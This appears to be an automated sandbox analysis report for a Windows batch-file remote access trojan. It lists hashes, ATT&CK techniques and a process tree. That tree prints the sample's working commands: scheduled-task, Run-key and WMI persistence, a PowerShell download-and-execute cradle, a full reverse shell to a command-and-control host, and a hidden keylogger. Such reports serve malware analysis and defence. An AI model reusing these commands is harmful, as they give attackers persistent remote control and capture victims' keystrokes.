7ace91671ce8a62d415b99528ec71a3699b94f6ef1f52962aa764a6855eddab3

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:00

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General

Target
rat_build_41312_014205.bat
Size 4KB
Sample260529-1w5anafx21
SHA256 7ace91671ce8a62d415b99528ec71a3699b94f6ef1f52962aa764a6855eddab3
MD5 4566e514fc09b4b6e46051aad71c4d49
SHA1 371d814da2bace12e39d2bb2923c244a954c874f
SHA512 776641e65273128c6b61c48a49452ca081a0434df79a8233362956c57960eca2160a85854cea70b44f2f2c543a87857fc2b96971e4d01fc7a85677d3d4c7a770
SSDEEP 96:hIiesWfOBEEo9/sWh2o5QOFycWy1e0rLZE4usdgPsmDGscpo3mYiFgZk8mvlo1yW:hZgfOmEjQ/5npusdOsFscpo3mYiFgkHA
TLSH
T159A1F82367A772209AB4A518C9323C54A35CD4F71346CACEFE488DC51A4CF47512B5E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_41312.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4508	powershell.exe
1324	powershell.exe
3628	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_41312 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_41312.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3984	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1204	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3288	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4380	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1324	powershell.exe
1324	powershell.exe
1324	powershell.exe
4508	powershell.exe
4508	powershell.exe
4508	powershell.exe
3628	powershell.exe
3628	powershell.exe
3628	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3728	WMIC.exe
Token: SeSecurityPrivilege	3728	WMIC.exe
Token: SeTakeOwnershipPrivilege	3728	WMIC.exe
Token: SeLoadDriverPrivilege	3728	WMIC.exe
Token: SeSystemProfilePrivilege	3728	WMIC.exe
Token: SeSystemtimePrivilege	3728	WMIC.exe
Token: SeProfSingleProcessPrivilege	3728	WMIC.exe
Token: SeIncBasePriorityPrivilege	3728	WMIC.exe
Token: SeCreatePagefilePrivilege	3728	WMIC.exe
Token: SeBackupPrivilege	3728	WMIC.exe
Token: SeRestorePrivilege	3728	WMIC.exe
Token: SeShutdownPrivilege	3728	WMIC.exe
Token: SeDebugPrivilege	3728	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3728	WMIC.exe
Token: SeRemoteShutdownPrivilege	3728	WMIC.exe
Token: SeUndockPrivilege	3728	WMIC.exe
Token: SeManageVolumePrivilege	3728	WMIC.exe
Token: 33	3728	WMIC.exe
Token: 34	3728	WMIC.exe
Token: 35	3728	WMIC.exe
Token: 36	3728	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3728	WMIC.exe
Token: SeSecurityPrivilege	3728	WMIC.exe
Token: SeTakeOwnershipPrivilege	3728	WMIC.exe
Token: SeLoadDriverPrivilege	3728	WMIC.exe
Token: SeSystemProfilePrivilege	3728	WMIC.exe
Token: SeSystemtimePrivilege	3728	WMIC.exe
Token: SeProfSingleProcessPrivilege	3728	WMIC.exe
Token: SeIncBasePriorityPrivilege	3728	WMIC.exe
Token: SeCreatePagefilePrivilege	3728	WMIC.exe
Token: SeBackupPrivilege	3728	WMIC.exe
Token: SeRestorePrivilege	3728	WMIC.exe
Token: SeShutdownPrivilege	3728	WMIC.exe
Token: SeDebugPrivilege	3728	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3728	WMIC.exe
Token: SeRemoteShutdownPrivilege	3728	WMIC.exe
Token: SeUndockPrivilege	3728	WMIC.exe
Token: SeManageVolumePrivilege	3728	WMIC.exe
Token: 33	3728	WMIC.exe
Token: 34	3728	WMIC.exe
Token: 35	3728	WMIC.exe
Token: 36	3728	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3984	WMIC.exe
Token: SeSecurityPrivilege	3984	WMIC.exe
Token: SeTakeOwnershipPrivilege	3984	WMIC.exe
Token: SeLoadDriverPrivilege	3984	WMIC.exe
Token: SeSystemProfilePrivilege	3984	WMIC.exe
Token: SeSystemtimePrivilege	3984	WMIC.exe
Token: SeProfSingleProcessPrivilege	3984	WMIC.exe
Token: SeIncBasePriorityPrivilege	3984	WMIC.exe
Token: SeCreatePagefilePrivilege	3984	WMIC.exe
Token: SeBackupPrivilege	3984	WMIC.exe
Token: SeRestorePrivilege	3984	WMIC.exe
Token: SeShutdownPrivilege	3984	WMIC.exe
Token: SeDebugPrivilege	3984	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3984	WMIC.exe
Token: SeRemoteShutdownPrivilege	3984	WMIC.exe
Token: SeUndockPrivilege	3984	WMIC.exe
Token: SeManageVolumePrivilege	3984	WMIC.exe
Token: 33	3984	WMIC.exe
Token: 34	3984	WMIC.exe
Token: 35	3984	WMIC.exe
Token: 36	3984	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3984	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2132 wrote to memory of 4380	2132	cmd.exe	90
PID 2132 wrote to memory of 3288	2132	cmd.exe	91
PID 2132 wrote to memory of 3728	2132	cmd.exe	92
PID 2132 wrote to memory of 3984	2132	cmd.exe	93
PID 2132 wrote to memory of 4196	2132	cmd.exe	94
PID 2132 wrote to memory of 1204	2132	cmd.exe	111
PID 2132 wrote to memory of 3984	2132	cmd.exe	114
PID 2132 wrote to memory of 1324	2132	cmd.exe	115
PID 2132 wrote to memory of 4508	2132	cmd.exe	116
PID 2132 wrote to memory of 3628	2132	cmd.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_41312_014205.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2132
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_41312" /tr "C:\Users\Admin\AppData\Local\Temp\_41312.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4380
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_41312" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_41312.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3288
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_41312", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3728
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_41312", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_41312.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3984
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_41312.txt
  2⤵
  PID:4196
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1204
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_41312.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3628

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a14b077dfcedd83bc50e8dea0e2848e549d5575cd0c594c9258d60f6eb204f70
MD5 7570c364c2d7fb721372cf5aacd5f9d1
SHA1 7090220fc139d30bc4a3898c9afa1a29c007083b
SHA512 b15f6db891886890efec0e4a21dc0caad53c37ca1d58ce51a845258a28a263bc222d66b8a016254ae9fa62935fca44e6d217d90a3d4f50813674a1c3f2a0d4e6
TLSH
T16A117627F39CC921CC96153A409DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 479e30aab9aea527f35a883f9d2564454c5da1b0b512e00442931eee6dd7b4a0
MD5 9b2bec72b86f9fd4436e8d351bc99cdd
SHA1 630726346b61fcc2329944c935413d9f75b0c9cb
SHA512 fdfa2395e0d8751aa13b8bb7fa4ab329f20445e435bb8b005083b3d86c5d8bd67977e74d3b8b6f31a4b1f4d52aeeafc8e568d2c21ede254f18f55c730821629e
TLSH
T1A6115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_034wugrn.zd4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_034wugrn.zd4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1324-3-0x0000025DEB310000-0x0000025DEB332000-memory.dmp

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